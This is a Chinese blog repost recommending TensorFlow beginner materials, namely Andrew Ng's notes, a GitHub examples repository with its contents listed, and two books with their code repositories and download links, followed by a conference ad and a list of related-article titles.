当前位置：首页 > 编程日记 > 正文

少走弯路：强烈推荐的TensorFlow快速入门资料（可下载）

编程日记 2024-12-21 03:40:00

（图片付费下载自视觉中国）

作者 | 黄海广

来源 | 机器学习初学者（ID: ai-start-com）

知识更新非常快，需要一直学习才能跟上时代进步，举个例子：吴恩达老师在深度学习课上讲的TensorFlow使用，这个肯定是他近几年才学的，因为谷歌开源了TensorFlow也就很短的时间。

吴恩达老师以前还在用Octave教学呢，但是后来就不用那个工具了，因为：过时了，需要学习新知识了。

本文整理了4份TensorFlow的入门资料，很负责任地说：看完这些资料，TensorFlow基本入门了，接下来碰到问题能自己查资料解决了。

推荐资料

1.吴恩达深度学习笔记中的TensorFlow部分

这部分可以说是一个科普入门，学完后对TensorFlow会有一定的理解，接下来会容易点（第二门课第三周第3.11节，对应笔记p247-253，笔记可以在我的github下载：）

笔记截图：

图：深度学习笔记截图

2.TensorFlow2.0样例（github标星34000+）

TensorFlow推出2.0版本后，TF2.0相比于1.x版本默认使用Keras、Eager Execution、支持跨平台、简化了API等。这次更新使得TF2.0更加的接近PyTorch，一系列烦人的概念将一去不复返。推荐一位大神写的TF2.0的样例代码，推荐参考。

资源地址：

https://github.com/aymericdamien/TensorFlow-Examples

资源介绍：

本资源旨在通过示例轻松深入了解TensorFlow。为了便于阅读，它包括notebook和带注释的源代码。

它适合想要找到关于TensorFlow的清晰简洁示例的初学者。除了传统的“原始”TensorFlow实现，您还可以找到最新的TensorFlow API实践（例如layers,estimator,dataset, ......）。

最后更新(08/17/2019)：添加新示例（TF2.0）。

配置环境：

python 3.6以上，TensorFlow 1.8+

资源目录：

0 - 先决条件

机器学习简介
MNIST数据集简介

1 - 简介

Hello World(包含notebook和py源代码)。非常简单的例子，学习如何使用TensorFlow打印“hello world”。
基本操作(包含notebook和py源代码)。一个涵盖TensorFlow基本操作的简单示例。
TensorFlow Eager API基础知识(包含notebook和py源代码)。开始使用TensorFlow的Eager API。

2 - 基础模型

线性回归(包含notebook和py源代码)。使用TensorFlow实现线性回归。
线性回归（eager api）(包含notebook和py源代码)。使用TensorFlow的Eager API实现线性回归。
Logistic回归(包含notebook和py源代码)。使用TensorFlow实现Logistic回归。
Logistic回归（eager api）(包含notebook和py源代码)。使用TensorFlow的Eager API实现Logistic回归。
最近邻(包含notebook和py源代码)。使用TensorFlow实现最近邻算法。
K-Means(包含notebook和py源代码)。使用TensorFlow构建K-Means分类器。
随机森林(包含notebook和py源代码)。使用TensorFlow构建随机森林分类器。
Gradient Boosted Decision Tree（GBDT）(包含notebook和py源代码)。使用TensorFlow构建梯度提升决策树（GBDT）。
Word2Vec（词嵌入）(包含notebook和py源代码)。使用TensorFlow从Wikipedia数据构建词嵌入模型（Word2Vec）。

3 - 神经网络

监督学习部分

简单神经网络(包含notebook和py源代码)。构建一个简单的神经网络（如多层感知器）来对MNIST数字数据集进行分类。Raw TensorFlow实现。
简单神经网络（tf.layers / estimator api）(包含notebook和py源代码)。使用TensorFlow'layers'和'estimator'API构建一个简单的神经网络（如：Multi-layer Perceptron）来对MNIST数字数据集进行分类。
简单神经网络（Eager API）(包含notebook和py源代码)。使用TensorFlow Eager API构建一个简单的神经网络（如多层感知器）来对MNIST数字数据集进行分类。
卷积神经网络(包含notebook和py源代码)。构建卷积神经网络以对MNIST数字数据集进行分类。Raw TensorFlow实现。
卷积神经网络（tf.layers / estimator api）(包含notebook和py源代码)。使用TensorFlow'layers'和'estimator'API构建卷积神经网络，对MNIST数字数据集进行分类。
递归神经网络（LSTM）(包含notebook和py源代码)。构建递归神经网络（LSTM）以对MNIST数字数据集进行分类。
双向LSTM(包含notebook和py源代码)。构建双向递归神经网络（LSTM）以对MNIST数字数据集进行分类。
动态LSTM(包含notebook和py源代码)。构建一个递归神经网络（LSTM），执行动态计算以对不同长度的序列进行分类。

无监督

自动编码器(包含notebook和py源代码)。构建自动编码器以将图像编码为较低维度并重新构建它。
变分自动编码器（(包含notebook和py源代码)。构建变分自动编码器（VAE），对噪声进行编码和生成图像。
GAN（Generative Adversarial Networks）(包含notebook和py源代码)。构建生成对抗网络（GAN）以从噪声生成图像。
DCGAN（Deep Convolutional Generative Adversarial Networks）(包含notebook和py源代码)。构建深度卷积生成对抗网络（DCGAN）以从噪声生成图像。

4 - 工具

保存和还原模型(包含notebook和py源代码)。使用TensorFlow保存和还原模型。
Tensorboard - 图形和损失可视化(包含notebook和py源代码)。使用Tensorboard可视化计算图并绘制损失。
Tensorboard - 高级可视化(包含notebook和py源代码)。深入了解Tensorboard;可视化变量，梯度等......

5 - 数据管理

构建图像数据集(包含notebook和py源代码)。使用TensorFlow数据队列，从图像文件夹或数据集文件构建您自己的图像数据集。
TensorFlow数据集API(包含notebook和py源代码)。引入TensorFlow数据集API以优化输入数据管道。

6 - 多GPU

多GPU的基本操作(包含notebook和py源代码)。在TensorFlow中引入多GPU的简单示例。
在多GPU上训练神经网络(包含notebook和py源代码)。一个清晰简单的TensorFlow实现，用于在多个GPU上训练卷积神经网络。

数据集

一些示例需要MNIST数据集进行训练和测试。官方网站：http://yann.lecun.com/exdb/mnist/

3.《机器学习实战：基于Scikit-Learn和TensorFlow》

推荐一本机器学习和TensorFlow入门的好书：《机器学习实战：基于Scikit-Learn和TensorFlow》。

本书主要分为两部分，第一部分（第1~8章）涵盖机器学习的基础理论知识和基本算法，从线性回归到随机森林等，可以帮助你掌握Scikit-Learn的常用方法；第二部份（第9~16章）探讨深度学习和常用框架TensorFlow，手把手教你使用TensorFlow搭建和训练深度神经网络，以及卷积神经网络。

这本书受到广大机器学习爱好者的好评，可以说是机器学习入门宝书，豆瓣评分8.2。

这本书假定您有一些 Python 编程经验，并且比较熟悉 Python 的主要科学库，特别是 NumPy，Pandas 和 Matplotlib 。

本书作者公开了配套的源代码：

https://github.com/ageron/handson-ml

国内一个公益组织对原版英文书进行了翻译，制作成markdown文件（md文件推荐使用typora阅读），可以在github下载：

https://github.com/apachecn/hands-on-ml-zh

针对国内下载速度慢，本站对两个资源进行打包，可以在百度云下载：

链接：

https://pan.baidu.com/s/1jihUZrXblxhrVA5FBGU3RQ

提取码：0xye

若被和谐请留言。

4.《python深度学习》

TensorFlow团队的Josh Gordon推荐这本书，TF2.0基于Keras。如果你是一个深度学习新手，最好从这本书入手。当然这本书里的代码需要改一下，但非常简单：

import keras -> from tensorflow import keras

《python深度学习》由Keras之父、现任Google人工智能研究员的弗朗索瓦•肖莱（François Chollet）执笔，详尽介绍了用Python和Keras进行深度学习的探索实践，包括计算机视觉、自然语言处理、产生式模型等应用。书中包含30多个代码示例，步骤讲解详细透彻。

作者在github公布了代码，代码几乎囊括了本书所有知识点。在学习完本书后，读者将具备搭建自己的深度学习环境、建立图像识别模型、生成图像和文字等能力。但是有一个小小的遗憾：代码的解释和注释是全英文的，即使英文水平较好的朋友看起来也很吃力。

本站认为，这本书和代码是初学者入门深度学习及Keras最好的工具。

我对全部代码做了中文解释和注释，并下载了代码所需要的一些数据集（尤其是“猫狗大战”数据集），并对其中一些图像进行了本地化，代码全部测试通过。（请按照文件顺序运行，代码前后有部分关联）。

以下代码包含了全书80%左右的知识点，代码目录：

2.1: A first look at a neural network（初识神经网络）

3.5: Classifying movie reviews（电影评论分类：二分类问题）

3.6: Classifying newswires（新闻分类：多分类问题）

3.7: Predicting house prices（预测房价：回归问题）

4.4: Underfitting and overfitting（过拟合与欠拟合）

5.1: Introduction to convnets（卷积神经网络简介）

5.2: Using convnets with small datasets（在小型数据集上从头开始训练一个卷积

5.3: Using a pre-trained convnet（使用预训练的卷积神经网络）

5.4: Visualizing what convnets learn（卷积神经网络的可视化）

6.1: One-hot encoding of words or characters（单词和字符的 one-hot 编码）

6.1: Using word embeddings（使用词嵌入）

6.2: Understanding RNNs（理解循环神经网络）

6.3: Advanced usage of RNNs（循环神经网络的高级用法）

6.4: Sequence processing with convnets（用卷积神经网络处理序列）

8.1: Text generation with LSTM（使用 LSTM 生成文本）

8.2: Deep dream（DeepDream）

8.3: Neural style transfer（神经风格迁移）

8.4: Generating images with VAEs（用变分自编码器生成图像）

8.5: Introduction to GANs（生成式对抗网络简介）

中文注释与解释如图：

图：代码的中文注释与解释

作者的github：

https://github.com/fchollet/deep-learning-with-python-notebooks

中文注释代码：

https://github.com/fengdu78/machine_learning_beginner/tree/master/deep-learning-with-python-notebooks

暂时想到这么多，欢迎留言补充。

（*本文为 AI科技大本营转载文章，转载请联系原作者）

◆

精彩推荐

◆

早鸟票倒计时最后1天，扫码购票立减2600元！

2019 中国大数据技术大会（BDTC）再度来袭！豪华主席阵容及百位技术专家齐聚，15 场精选专题技术和行业论坛，超强干货+技术剖析+行业实践立体解读，深入解析热门技术在行业中的实践落地。

640?wx_fmt=png

少走弯路：强烈推荐的TensorFlow快速入门资料（可下载）

推荐阅读

简单粗暴上手TensorFlow 2.0，北大学霸力作，必须人手一册

分析Booking的150种机器学习模型，我总结了6条教训

微软也爱Python：VS Code Python全新发布！Jupyter Notebook原生支持终于来了

罗永浩向老同事道歉；三星漏洞已波及四千万用户；Clojure 1.11 即将发布 | 极客头条

真·上天！NASA招聘区块链"多功能复合型"人才, 欲保护飞行数据安全……

10 月全国程序员工资统计，一半以上的职位 5 个月没招到人

【光说不练假把式】今天说一说Kubernetes 在有赞的实践

相关文章：

有状态bean与无状态bean

从Developer Removed From Sale 回到可下载状态的方法

朴素贝叶斯分类器简介及C++实现(性别分类)

你当年没玩好的《愤怒的小鸟》，AI现在也犯难了

msf反弹shell

mysql 5.5半同步复制功能部署

Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤

manage.py命令

图灵奖得主Bengio再次警示：可解释因果关系是深度学习发展的当务之急

解决jQuery不同版同时引用的冲突

TensorFlow中的计算图

java设计模式-适配器模式

Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤

粗谈Android中的对齐

OpenCV3.3中逻辑回归(Logistic Regression)使用举例

多数编程语言里的0.1+0.2≠0.3?

iOSSharing #9 | 2019-05-19

分表处理（三）

逻辑回归(Logistic Regression)简介及C++实现

CVPR 2019论文阅读：Libra R-CNN如何解决不平衡对检测性能的影响？

实现nginx上配置免费证书Let's Encrypt

深入解析Windows操作系统笔记——CH1概念和术语

C++/C++11中std::exception的使用

技术不错的程序员，为何面试却“屡战屡败”

FastJson 转换 javaBean 时 null 值被忽略都问题

来玩Play框架07 静态文件

C++/C++11中std::runtime_error的使用

估值被砍700亿美元后，Waymo发重磅公开信：即将推出全自动驾驶打车服务

Swoft 2 Beta 发布，基于 Swoole 的云原生协程框架

Linux中源码包的管理